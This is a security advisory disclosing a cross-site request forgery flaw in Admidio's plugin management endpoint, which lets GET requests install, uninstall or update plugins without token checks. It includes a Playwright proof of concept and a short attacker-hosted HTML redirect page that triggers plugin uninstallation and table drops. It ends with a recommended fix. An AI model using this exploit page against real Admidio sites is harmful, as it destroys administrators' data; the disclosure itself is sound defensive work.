Admidio: CSRF on Plugin Install, Uninstall, and Update via Unprotected GET Requests

Summary

The modules/plugins.php endpoint handles plugin installation, uninstallation, and update operations via GET requests without CSRF token validation. Because these are top-level navigations, browsers include SameSite=Lax session cookies. An attacker crafts a malicious page that, when an authenticated administrator visits it, triggers arbitrary plugin operations. The uninstall operation executes DROP TABLE SQL scripts and destroys plugin data.

Details

modules/plugins.php reads the mode (install, uninstall, update) and name parameters directly from $_GET:

// modules/plugins.php
$mode = admFuncVariableIsValid($_GET, 'mode', 'string');
$pluginName = admFuncVariableIsValid($_GET, 'name', 'string');

The file contains zero calls to SecurityUtils::validateCsrfToken(). Other administrative operations in the same codebase (such as the save mode in preferences) validate CSRF tokens correctly.

Because the operations use GET requests, modern browsers send SameSite=Lax cookies on top-level GET navigations (link clicks, redirects, window.location assignments). A cross-origin page triggers these operations by navigating the browser to the vulnerable URL.

The doUninstall() function is the most destructive path. It executes SQL scripts from the plugin's db_scripts/ directory, which contain DROP TABLE statements:

// modules/plugins.php - doUninstall()
function doUninstall($pluginFolder) {
    // Reads and executes SQL from $pluginFolder/db_scripts/uninstall.sql
    // Contains DROP TABLE statements
}

Proof of Concept

The following Playwright test demonstrates a cross-origin CSRF attack. An attacker hosts a page on a different origin that redirects an authenticated administrator's browser to the uninstall endpoint:

// playwright-csrf-poc.js
const { test, expect } = require('@playwright/test');

test('CSRF plugin uninstall via cross-origin redirect', async ({ browser }) => {
    const context = await browser.newContext();
    const page = await context.newPage();

    // Step 1: Admin logs in to Admidio
    await page.goto('https://admidio.example.com/adm_program/system/login.php');
    await page.fill('#usr_login_name', 'admin');
    await page.fill('#usr_password', 'password');
    await page.click('#btn_login');
    await page.waitForURL('**/overview.php');

    // Step 2: Admin visits attacker-controlled page on different origin
    // The attacker page contains:
    //   <script>window.location = 'https://admidio.example.com/adm_program/modules/plugins.php?mode=uninstall&name=birthday';</script>
    await page.goto('https://attacker.example.com/csrf.html');

    // Step 3: Browser follows redirect with SameSite=Lax cookies
    // The birthday plugin is uninstalled, its database tables dropped
    await page.waitForURL('**/plugins.php*');

    // Verify the plugin was uninstalled
    await page.goto('https://admidio.example.com/adm_program/modules/plugins.php');
    const content = await page.content();
    expect(content).not.toContain('birthday');
});

Simplified attacker page (csrf.html hosted on attacker origin):

<html>
<body>
<script>
  window.location = 'https://admidio.example.com/adm_program/modules/plugins.php?mode=uninstall&name=birthday';
</script>
</body>
</html>

When an administrator visits this page, the browser navigates to the Admidio uninstall URL with full session cookies, and the server uninstalls the birthday plugin.

Impact

An unauthenticated attacker tricks an Admidio administrator into visiting a malicious web page (via phishing, forum post, or embedded content) that performs plugin operations without visible indication. The uninstall operation executes DROP TABLE statements, causing irreversible data loss. The install operation activates plugins with known vulnerabilities. The update operation disrupts plugin functionality. The victim only needs to visit a single page.

Recommended Fix

Switch plugin install, uninstall, and update operations from GET to POST requests. Add SecurityUtils::validateCsrfToken() checks to all state-changing operations in modules/plugins.php, consistent with the pattern used elsewhere in the codebase.

Found by aisafe.io